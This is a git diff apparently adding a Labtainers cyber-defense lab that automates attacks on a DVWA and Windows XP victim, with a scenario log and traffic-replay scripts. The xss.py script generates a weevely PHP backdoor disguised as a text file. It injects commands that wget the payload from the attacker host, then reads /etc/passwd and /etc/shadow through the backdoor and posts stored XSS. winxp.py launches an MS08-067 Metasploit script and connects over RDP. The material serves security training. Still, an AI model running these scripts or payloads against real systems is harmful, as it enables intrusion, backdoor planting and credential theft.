+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDED000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED + +%%PageTrailer +%%Trailer +%%EOF diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/thread.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/thread.txt new file mode 100755 index 000000000..8b1378917 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/thread.txt @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/timer.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/timer.txt new file mode 100755 index 000000000..4446440e2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/timer.txt @@ -0,0 +1,150 @@ +pyserver.py: started +pyserver.py: Got a connection from ('192.168.1.13', 52032) - ok to start attacks +pyserver.py: calling main.py +----------------------------------------- +| CHLICSA Cyber Defense Attack Scenario | +----------------------------------------- + + + #### PRE-ATTACK SETUP #### + + #### ATTACK SETUP COMPLETE. TELL SECURITY ONION TO START SA TIMER #### + + #### START ATTACKS #### + +[11:25:32] [0:00:00] Providing 7 minute buffer during scenario/SO setup + +[11:32:33] [0:07:00] Expecting 3 minutes generic SA questions + +[11:35:33] [0:10:00] Expecting 1 minute TLX1() after buffer on security onion + +[11:36:33] [0:11:00] Attack #1 (3 minutes): nmap OS discovery scans +[11:36:33] [0:11:00] --Changed IP to 192.168.1.43 + [0:00:00] Start + [0:01:50] - scan complete + [0:03:00] - scan complete + [0:03:00] End + +[11:39:33] [0:14:00] Attack #2 (3 minutes): nmap stealth scans +[11:39:33] [0:14:00] --Changed IP to 192.168.1.154 + [0:00:00] Start + [0:00:00] - scan complete + [0:00:10] - scan complete + [0:00:20] - scan complete + [0:00:31] - scan complete + [0:00:41] - scan complete + [0:00:51] - scan complete + [0:01:02] - scan complete + [0:01:12] - scan complete + [0:01:22] - scan complete + [0:01:32] - scan complete + [0:01:43] - scan complete + [0:01:53] - scan complete + [0:02:03] - scan complete + [0:02:13] - scan complete + [0:02:24] - scan complete + [0:02:34] - scan complete + [0:02:44] - scan complete + [0:02:55] - scan complete + [0:02:55] - scan complete + [0:02:55] - scan complete + [0:02:55] - scan complete + [0:02:56] - scan complete + [0:02:56] - scan complete + [0:02:56] - scan complete + [0:02:57] - scan complete + [0:02:57] - scan complete + [0:02:57] - scan complete + [0:02:57] - scan complete + [0:02:58] - scan complete + [0:02:58] - scan complete + [0:02:58] - scan complete + [0:02:58] - scan complete + [0:02:59] - scan complete + [0:02:59] - scan complete + [0:02:59] - scan complete + [0:02:59] - scan complete + [0:03:00] - scan complete + [0:03:00] End + +[11:42:33] [0:17:00] Expecting 3 minutes SA questions first() + +[11:45:33] [0:20:00] Attack #3 (5 minutes): Man-in-the-middle arp poisoning attack +[11:45:33] [0:20:00] --Changed IP to 192.168.1.72 + [0:00:00] Start + [0:05:00] End + +[11:50:33] [0:25:00] Expecting 5 minutes SA questions second() + +[11:55:33] [0:30:00] Providing 2 minute buffer + +[11:57:33] [0:32:00] Attack #4 (5 minutes): FTP brute force +[11:57:33] [0:32:00] --Changed IP to 192.168.1.127 + [0:00:00] Start + [0:05:02] - scan complete + [0:05:02] End + +[12:02:36] [0:37:03] Expecting 3.5 minutes SA questions third() + +[12:06:06] [0:40:33] Expecting 1 minutes TLX2() after easy attack + +[12:07:06] [0:41:33] Providing 2 minute buffer + +[12:09:06] [0:43:33] Attack #5 (5 minutes): MS08_067 +[12:09:06] [0:43:33] --Changed IP to 192.168.1.26 + [0:00:00] Start + [0:00:00] gp.rc.copy > path + [0:00:00] - ip & delays updated in gp.rc + [0:00:00] - gp.rc start with delays of (29) + [0:03:08] - gp.rc complete + [0:03:08] - RDP + [0:03:08] - sleep for time remaining: 111.27 + [0:05:00] End + +[12:14:06] [0:48:34] Expecting 5 minutes SA questions fourth() + +[12:19:07] [0:53:34] Expecting 1 minutes TLX3() after hard attack + +[12:20:07] [0:54:34] Providing 2 minute buffer + +[12:22:07] [0:56:34] Attack #6 (8 minutes): Cross site scripting (xss) attack +[12:22:07] [0:56:34] --Changed IP to 192.168.1.187 + [0:00:00] Start with attack time: 480 and delays of: 67 + [0:00:02] generated weevely rootkit page.php + [0:00:03] rootkit added to local webserver + [0:00:03] -- login (33), actions: 3, wait: 11.0 + [0:00:40] -- logged in + [0:00:40] -- dvwa security (33), actions: 2, wait: 16.0 + [0:01:13] -- set security to low + [0:01:13] -- plant weevely (67), actions: 5, wait: 13.0 + [0:02:21] -- weevely exploit planted + [0:02:21] -- exploit weevely wait: 7.0 + [0:04:52] -- weevely exploited (134), actions: 18, wait: 7.0 + [0:04:53] -- exploit xss stored (134), actions: 3, wait: 44.0 + [0:07:07] -- xss stored complete + [0:07:07] -- kali cleaned + [0:07:41] -- dvwa cleaned + [0:07:41] - sleep for time remaining: 18.46 + [0:08:00] End + +[12:30:07] [1:04:34] Expecting 4.5 minutes SA questions fifth() + +[12:34:37] [1:09:04] Providing 2 minute buffer + +[12:36:37] [1:11:04] Attack #7 (8 minutes): SQL injection attack +[12:36:37] [1:11:04] --Changed IP to 192.168.1.141 + [0:00:00] Start with attack time: 480 and delays of: 115 + [0:00:00] -- login (57), actions: 3, wait: 19.0 + [0:00:58] -- logged in + [0:00:58] -- dvwa security (57), actions: 2, wait: 28.0 + [0:01:55] -- security is set to low + [0:05:45] -- sql injection complete + [0:07:40] -- sql command execution complete + [0:07:40] -- sleep for time remaining: 19.34 + [0:08:00] End + +[12:44:37] [1:19:05] Expecting 5 minutes SA questions sixth() + +[12:49:38] [1:24:05] All attacks and SA questions concluded + + #### SCENARIO COMPLETE #### diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic.py new file mode 100755 index 000000000..4c73c71a6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic.py @@ -0,0 +1,36 @@ +#!/usr/bin/python +# +#This File simply calls tcpreplay for traffic replay, main releases the subprocess and ends when the scenario is over. + +import sys +import netifaces as ni +import time +from random import randint +import subprocess +import datetime +from datetime import timedelta + +from os import * + +# This function replays a pcap file +def traffic_replay(pcap): + print "Starting Traffic..." + system('tcpreplay --pps=3 --loop=0 --intf1=eth0 /root/Desktop/attacks/pcap/traffic_scenario.pcapng& sleep '+str(90*60)+'; kill $!') + +# Method to thread pcap replays to simulate a flood of network traffic +def simulate_traffic(): + + global path + path = '/root/Desktop/attacks/' + try: + + # TRAFFIC + traffic_replay('traffic_scenario.pcapng') + + except: + print "Error: could not start threads" + + +simulate_traffic() + +# END OF FILE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/big_traffic.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/big_traffic.py new file mode 100755 index 000000000..36b78bb26 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/big_traffic.py @@ -0,0 +1,5 @@ +import os +import sys + +os.system('tcprewrite --pnat=10.0.0.0:192.168.1.0,172.16.0.0:192.168.1.0 --infile=bigFlows.pcap --outfile=bigFlows.pcap') +os.system('tcpreplay --loop=0 --intf1=eth0 /root/Desktop/attacks/bigFlows.pcap') diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/bmp_traffic.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/bmp_traffic.py new file mode 100755 index 000000000..43f3d71ec --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/bmp_traffic.py @@ -0,0 +1,5 @@ +import os +import sys + +os.system('tcprewrite --pnat=10.0.0.0:192.168.1.0,172.16.0.0:192.168.1.0 --infile=bmp.pcap --outfile=bmp.pcap') +os.system('tcpreplay --loop=0 --intf1=eth0 /root/Desktop/attacks/bmp.pcap') diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/dhcp_traffic.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/dhcp_traffic.py new file mode 100755 index 000000000..04aa40e20 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/dhcp_traffic.py @@ -0,0 +1,5 @@ +import os +import sys + +os.system('tcprewrite --pnat=10.0.0.0:192.168.1.0,172.16.0.0:192.168.1.0 --infile=dhcp.pcap --outfile=dhcp.pcap') +os.system('tcpreplay --loop=0 --intf1=eth0 /root/Desktop/attacks/dhcp.pcap') diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/stp_traffic.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/stp_traffic.py new file mode 100755 index 000000000..57d4a9f57 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/stp_traffic.py @@ -0,0 +1,5 @@ +import os +import sys + +os.system('tcprewrite --pnat=10.0.0.0:192.168.1.0,172.16.0.0:192.168.1.0 --infile=stp.pcap --outfile=stp.pcap') +os.system('tcpreplay --loop=0 --intf1=eth0 /root/Desktop/attacks/stp.pcap') diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/teredo_traffic.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/teredo_traffic.py new file mode 100755 index 000000000..05c9d8374 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/traffic/teredo_traffic.py @@ -0,0 +1,5 @@ +import os +import sys + +os.system('tcprewrite --pnat=10.0.0.0:192.168.1.0,172.16.0.0:192.168.1.0 --infile=Teredo.pcap --outfile=Teredo.pcap') +os.system('tcpreplay --loop=0 --intf1=eth0 /root/Desktop/attacks/Teredo.pcap') diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/winxp.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/winxp.py new file mode 100755 index 000000000..8eac5411b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/winxp.py @@ -0,0 +1,57 @@ +from os import * +import sys +import time +import datetime +from datetime import timedelta + +# IMPORTS & ALIAS +import setup as s +printtime = s.printtime +funcprinttime = s.funcprinttime + + +##### MS08_067 ##### +#execute MS08_067 exploit & post exploit shenanigans +def update_rc(delay): + starttime = time.time() + + # reset gp.rc for metasploit + rc_path = "/usr/share/metasploit-framework/scripts/gp.rc" + system("cp /root/Desktop/attacks/ms08_067/gp.rc.copy "+rc_path) # every time the scenario restarts, reset this file + funcprinttime("gp.rc.copy > path", starttime) + # update sleep time and current ip in gp.rc + system("sed -e 's/sleep 30/sleep "+str(delay)+"/w /root/Desktop/attacks/ms08_067/gp.temp' \ + -e 's/192.168.1.28/"+str(s.getip())+"/w /root/Desktop/attacks/ms08_067/gp.temp' "+rc_path+" > /root/Desktop/attacks/ms08_067/gp.temp") # write current ip to gp.rc + system("cp /root/Desktop/attacks/ms08_067/gp.temp "+rc_path) + + funcprinttime(" - ip & delays updated in gp.rc", starttime) + +update_rc.desc = "update gp.rc commands for metasploit use" + + +def ms08_067(n): + starttime=time.time() + endtime = time.time()+n + funcprinttime(" Start", starttime) + + # Attack timing + delay = (n/10)-1; # number of seconds to break up attack into equal sized pieces of time + update_rc(delay) # update ip address in gp.rc + + # gp.rc + funcprinttime(" - gp.rc start with delays of ("+str(delay)+")", starttime) + system("msfconsole -r /usr/share/metasploit-framework/scripts/gp.rc") + funcprinttime(" - gp.rc complete", starttime) + + #RDP: connect to remote desktop enabled by exploit + funcprinttime(" - RDP", starttime) + system("rdesktop -u hacker -p password 192.168.1.12") + + timeleft = endtime-time.time() + if timeleft>0: + funcprinttime(" - sleep for time remaining: "+str(round(timeleft,2)), starttime) + time.sleep(timeleft) + + funcprinttime(" End",starttime) + +ms08_067.desc = "MS08_067" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/xss.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/xss.py new file mode 100755 index 000000000..40b9ca3b8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/xss.py @@ -0,0 +1,293 @@ +# xss.py + +from selenium import webdriver +from selenium.webdriver.common.keys import Keys + +import sys +import time +from os import * +import netifaces as ni +import datetime +from datetime import timedelta + +# IMPORT MODULES +import setup as s + + +# ALIASING +printtime = s.printtime + +# wrap function print to include local start time +def funcprinttime(desc): + s.funcprinttime(desc, starttime) + + +# FILE GLOBALS +kali_IP = "192.168.1.187" +dvwa_IP = "192.168.1.20" +dvwa_addr = "http://"+dvwa_IP+"/" + +exploitname = "page.php" # rootkit name +tarname = "base.tar.gz" # tar'd version of the rootkit +faketxt = "log.txt" # false name of the tar'd rookit +password = "feedthebears" # password to launch the rootkit + +# DEFINE BROWSER DRIVER +driver = webdriver.Firefox() # supported: Firefox, Chrome, Ie and Remote + + + + + +##### Cross Site Scripting (XSS) ##### +# original attack length: 8 minutes: 12 second delays * 32 total delays +def xss(n): + + # GLOBALS + global starttime + global endtime + global delay + + global kali_IP + global dvwa_IP + global dvwa_addr + + global exploitname + global tarname + global faketxt + global password + + global driver + + starttime=time.time() + endtime = time.time()+n + + delay = ((n-5)/7); # space events in attack to fill total time + # if 60 seconds, then 55/6 = 9 seconds each. + funcprinttime(" Start with attack time: "+str(n)+" and delays of: "+str(delay)) + + # ATTACK: + prepareweevely() # 0 delays. create rootkit & host on webserver + dvwa_login(delay/2) # .5 delay. log in to dvwa + dvwa_security_low(delay/2) # .5 delay. set dvwa security to low + plant_weevely(delay) # 1 delay. get dvwa to download rootkit from kali server + exploit_weevely(delay*2) # 2 delays. use the rootkit to send commands + exploit_xss_stored(delay*2) # 2 delays. paste xss into visitor comments + + # ATTACK CLEANUP + cleankali() + cleandvwa(delay/2) # 1 delay. + + driver.quit() # closes browser + + # FINISH + timeleft = endtime-time.time() + if timeleft>0: + funcprinttime(" - sleep for time remaining: "+str(round(timeleft,2))) + time.sleep(timeleft) + + funcprinttime(" End") + +xss.desc = "Cross site scripting (xss) attack" + + + +# PREPARE WEEVELY ROOTKIT +# create a weevely rootkit and host it on an internal server +def prepareweevely(): + + # Create weevely exploit + system("mkdir /root/Desktop/exploit/") + system("weevely generate "+password+" /root/Desktop/exploit/"+exploitname) + funcprinttime(" generated weevely rootkit \""+exploitname+"\"") + + # add exploit to kali's own webserver + system("service apache2 start") + system("cp /root/Desktop/exploit/"+exploitname+" /var/www/html/"+exploitname) # move exploit to web + system("cd /var/www/html/; tar -cvzf "+tarname+" "+exploitname) # tar/compress exploit + system("cp /var/www/html/"+tarname+" /var/www/html/"+faketxt) # rename .txt file + funcprinttime(" rootkit added to local webserver") + + + +# DVWA LOGIN +# default credentials +def dvwa_login(n): + + #timing + num_actions = 3 + wait = n/num_actions + funcprinttime(" -- login ("+str(n)+"), actions: "+str(num_actions)+", wait: "+str(round(wait,2))) + + driver.get(dvwa_addr+"login.php") + assert "login.php not found." not in driver.page_source + + elem_user = driver.find_element_by_name("username") + elem_user.send_keys("admin") + time.sleep(wait) + elem_pass = driver.find_element_by_name("password") + elem_pass.send_keys("password") + time.sleep(wait) + elem_login = driver.find_element_by_name("Login") + elem_login.send_keys(Keys.RETURN) + time.sleep(wait) + funcprinttime(" -- logged in") + + + +# SET DVWA SECURITY LOW +def dvwa_security_low(n): + + #timing + num_actions = 2 + wait = n/num_actions + funcprinttime(" -- dvwa security ("+str(n)+"), actions: "+str(num_actions)+", wait: "+str(round(wait,2))) + + driver.get(dvwa_addr+"security.php") + + from selenium.webdriver.support.ui import Select + elem_security = Select(driver.find_element_by_name('security')) + elem_security.select_by_visible_text("low") + time.sleep(wait) + + elem_submit = driver.find_element_by_name("seclev_submit") + elem_submit.send_keys(Keys.RETURN) + time.sleep(wait) + + funcprinttime(" -- set security to low") + + + +# PLANT WEEVELY EXPLOIT (ROOTKIT) +def plant_weevely(n): + + driver.get(dvwa_addr+"vulnerabilities/exec/") + assert "exec page not found." not in driver.page_source + + commands = [] + commands.append("127.0.0.1; pwd; ls -l" ) # demonstrate contents of file + commands.append("127.0.0.1; wget http://"+kali_IP+"/"+faketxt+" ;ls -l")# retrieve exploit.php from kali + commands.append("127.0.0.1; pwd; ls -l") # demonstrate exploit retrieved + commands.append("127.0.0.1; mv "+faketxt+" "+tarname+" ; ls -l") # rename txt to tarfile + commands.append("127.0.0.1; tar -xvf "+tarname+"; ls -l") # un-tar exploit + + + #timing + num_actions = len(commands) + wait = n/num_actions + funcprinttime(" -- plant weevely ("+str(n)+"), actions: "+str(num_actions)+", wait: "+str(round(wait,2))) + + # EXECUTE EACH COMMAND IN ORDER + for cmd in commands: + elem_cmd = driver.find_element_by_name("ip") + elem_cmd.send_keys(cmd) + elem_submit = driver.find_element_by_name("submit") + elem_submit.send_keys(Keys.RETURN) + time.sleep(wait) + + funcprinttime(" -- weevely exploit planted") + + + +# EXPLOIT WEEVELY +# signals weevely rootkit and sends commands +def exploit_weevely(n): + + weevelycmd = "weevely "+dvwa_addr+"vulnerabilities/exec/"+exploitname+" "+password+" " + + commands = [] + commands.append("'pwd'") + commands.append("'whoami'") + commands.append("'cat /etc/passwd'") + commands.append("'cat /etc/shadow'") + commands.append("'df'") + commands.append("'cat /etc/fstab'") + commands.append("'uname -a'") + commands.append("'lsb_release -a'") + commands.append("'cat /proc/net/sockstat'" ) + commands.append("'arch'") + commands.append("'w'") + commands.append("'mysql --version'") # not installed in dvwa + commands.append("'last -a'") # fails (removed in dvwa) + commands.append("'arp -a'") + commands.append("'find /bin \"-maxdepth 2 -perm /a=x\"'") + commands.append("'cat /etc/group'") + commands.append("'cat /etc/aliases'") # fails (none in dvwa) + commands.append("'find \". -n \"*pass*\"\"'") # fails (format) + + #timing + num_actions = len(commands) + wait = n/num_actions + funcprinttime(" -- exploit weevely wait: "+str(round(wait,2))) + + # Execute each command in order + for cmd in commands: + system("weevely "+dvwa_addr+"vulnerabilities/exec/"+exploitname+" "+password+" "+cmd) + time.sleep(wait) + + funcprinttime(" -- weevely exploited ("+str(n)+"), actions: "+str(num_actions)+", wait: "+str(round(wait,2))) + + + +# XSS STORED +# pastes xss in visitor comments page +# called by xss() +def exploit_xss_stored(n): # __ delays + + driver.get(dvwa_addr+"vulnerabilities/xss_s/") + assert "xss_s page not found." not in driver.page_source + + commands = [] + commands.append("holas muchachos ") + commands.append("") + commands.append("") + + #timing + num_actions = len(commands) + wait = n/num_actions + funcprinttime(" -- exploit xss stored ("+str(n)+"), actions: "+str(num_actions)+", wait: "+str(round(wait,2))) + + # Execute each command in order + for cmd in commands: + elem_txtName = driver.find_element_by_name("txtName") + elem_txtName.send_keys("guest") + elem_mtxMessage = driver.find_element_by_name("mtxMessage") + elem_mtxMessage.send_keys("%s" % cmd) + elem_btnSign = driver.find_element_by_name("btnSign") + elem_btnSign.send_keys(Keys.RETURN) + + time.sleep(wait) + + funcprinttime(" -- xss stored complete") + + + +# CLEAN KALI +# Remove all exploit files from kali +def cleankali(): + system("rm -r /root/Desktop/exploit/") + system("cd /var/www/html/; rm *.php *.txt *.gz") + funcprinttime(" -- kali cleaned") + + + +# CLEAN DVWA +# Remove all exploit files from dvwa +def cleandvwa(n): + + # Navigate to page for command execution + driver.get(dvwa_addr+"vulnerabilities/exec/") + assert "exec page not found." not in driver.page_source + + cleancmd = "127.0.0.1; rm "+tarname+" "+exploitname + + elem_cmd = driver.find_element_by_name("ip") + elem_cmd.send_keys(cleancmd) + elem_submit = driver.find_element_by_name("submit") + elem_submit.send_keys(Keys.RETURN) + time.sleep(n) + + funcprinttime(" -- dvwa cleaned") + + +# END OF FILE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/instructions.txt new file mode 100644 index 000000000..0e6a259c8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/instructions.txt @@ -0,0 +1,16 @@ +This is not a lab exercise, it is an example of running a Kali Linux +system and a Metasploitable host. It is also and example of using +MACVLANs to enable networking between containers and external hosts, +e.g., a Windows VM. This lab assumes you have defined a host-only +network on the host that is running a VMM, e.g., VirtualBox, assigned +that network an IP address on the VM running Labtainers, and enabled +promiscuous mode for that interface in both the VMM and on the +Labtainers VM. You should then be able to spin up an external VM, +e.g., Windows, assign it an address on that same subnet, and communicate +with it. + +The username for the kali systems is "ubuntu". The password is "studentN" where +N is the instance number of the kali client. This lab also illustrates the +use of CLONES. + +See the Lab Designer's User Guide for details. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the 